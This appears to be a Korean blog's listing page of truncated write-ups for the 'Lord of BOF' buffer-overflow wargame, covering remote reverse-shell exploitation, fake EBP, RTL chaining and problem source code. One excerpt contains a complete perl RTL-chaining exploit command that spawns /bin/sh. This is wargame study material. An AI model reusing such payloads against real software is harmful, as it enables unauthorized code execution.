- Today
- Total
목록Pwnable/[Wargame]Load of Bof (20)
Phantom
내가 가장 헷갈려하고 아직도 헷갈리는 리모트 문제이다.이번 문제는 리모트 익스플로잇 문제인데. 소스를 분석해보자면 6666번포트를 열고 기다리는 일종의 서버?랄까 데몬이랄까 자세히는 아직 잘 모르겠다. 그저 리슨중인 소켓이라 하자.여기서 취약점은 buffer는 [40]인데 원격으로 받는 입력은 Recv(client_fd, buffer, 256, 0)으로 256만큼 입력받는다. 여기서 BOF가 발생한다.문제는 간단한데 이제…바인드 쉘을 쓸지 리버스 쉘을 쓸지 그리고 설정을 어떻게 해야하는지 너무나 고민이 되었다. 나는 리버스쉘을 사용했다. LHOST는 원격지 호스트(공격자)LPORT는 음..아직 모르겠어서 같은 포트로 설정했다. 그리고 포맷을 파이썬으로 설정하고 generate. 이렇게 페이로드를 짜고....
아 망할 독감 ㅡㅡ 열이 38.9도로 너무 올라가서 일단 페이로드만 올린다 이번은 아주 간단한 remote exploit 이다 리버스쉘을 사용 했으며 코드는 이렇다 from socket import *from struct import pack p = lambda x: struct.pack("
요즘 참 인사개편 때문에 정신이 없는것 같다. 일단 이번 문제는 간단하다 strace 사용법 문제인데 6.2는 0x40015000~0x40016000 사이에 데이터를 받는다 이번에 CTF 챌린지 북에 더 자세한 사용법이 있는데 조금 더 배우고 다시 써볼 생각이다 아직 ltrace strace 를 잘 다룰 줄 모른다 아무튼 스택에 있는건 다 초기화되고 저 곳에값을 받게 되는데 저 부분은 내 기억으로 FC3?에서 stdin의 커스텀스택?맞나? 아무튼 stdin의 공간으로 알고 있다 ret를 그곳으로 입력하여 실행시키면 정상적으로 쉘이 따지게 된다.
아 진짜 정말 죄송합니다 하지만 적당한 공격을 했고 글을 내일 다듬기로 ㅎㅎㅎㅎㅎ 이번 문제는 RTL Chaining 이다 어려울것 없다 FTZ에서 이미 RTL Chaining 로 풀엇기에 자세한 설명은 내일 쓰겠다 긱 함수의 주소를 구해서 DO GYE GUL YUT MO로 체이닝 하여 마지막에 매개변수에 /bin/sh문자열을 넣어 실행한다 ./succubus $(perl -e 'print "\x90"x44, "\xec\x87\x04\x08", "\xbc\x87\x04\x08", "\x8c\x87\x04\x08", "\x5c\x87\x04\x08", "\x24\x87\x04\x08", "\x90"x4, "\xa8\xfa\xff\xbf", "/bin/sh"') /bin/sh의 위치는 buffer 시작지점으..
아 오늘 정말 바쁘다TeamH4C 캠프 준비, 인사 시즌이라 시청 업무 도중엔 앉아있을시간도없고퇴근하자마자 노는것이 아닌 개인사정.... 오늘하루 ㅎㅎㅎ 양심을 팔아버리겠어 어차피 안올렸던거니까 ㅎㅎㅎ zombie_assassin은 간단하게 FEBP인데 페이로드는 이렇다 Leave를 한번 더 실행해서 늘린 후에 문제 코드에 의해 지워지지않은 SFP부분을 변조하여 버퍼지점으로 이동 시킨 뒤에다시 ret는 esp+4지점의 주소로 이동하여 점프하고 RTL을 사용하여 쉘을 땄다. 이제 내일 아침에 수정작업 들어가야겠다.
Colored By Color Scripter™123456789101112131415161718192021222324252627282930313233343536/* The Lord of the BOF : The Fellowship of the BOF - assassin - no stack, no RTL*/ #include #include main(int argc, char *argv[]){ char buffer[40]; if(argc
Colored By Color Scripter™12345678910111213141516171819202122232425262728293031323334353637383940414243444546/* The Lord of the BOF : The Fellowship of the BOF - giant - RTL2*/ #include #include #include main(int argc, char *argv[]){ char buffer[40]; FILE *fp; char *lib_addr, *execve_offset, *execve_addr; char *ret; if(argc
Colored By Color Scripter™12345678910111213141516171819202122232425262728/* The Lord of the BOF : The Fellowship of the BOF - bugbear - RTL1*/ #include #include main(int argc, char *argv[]){ char buffer[40]; int i; if(argc
Colored By Color Scripter™12345678910111213141516171819202122232425/* The Lord of the BOF : The Fellowship of the BOF - darkknight - FPO*/ #include #include void problem_child(char *src){ char buffer[40]; strncpy(buffer, src, 41); printf("%s\n", buffer);} main(int argc, char *argv[]){ if(argc
문제 소스 보기Colored By Color Scripter™12345678910111213141516171819202122232425262728293031323334/* The Lord of the BOF : The Fellowship of the BOF - golem - stack destroyer*/ #include #include extern char **environ; main(int argc, char *argv[]){ char buffer[40]; int i; if(argc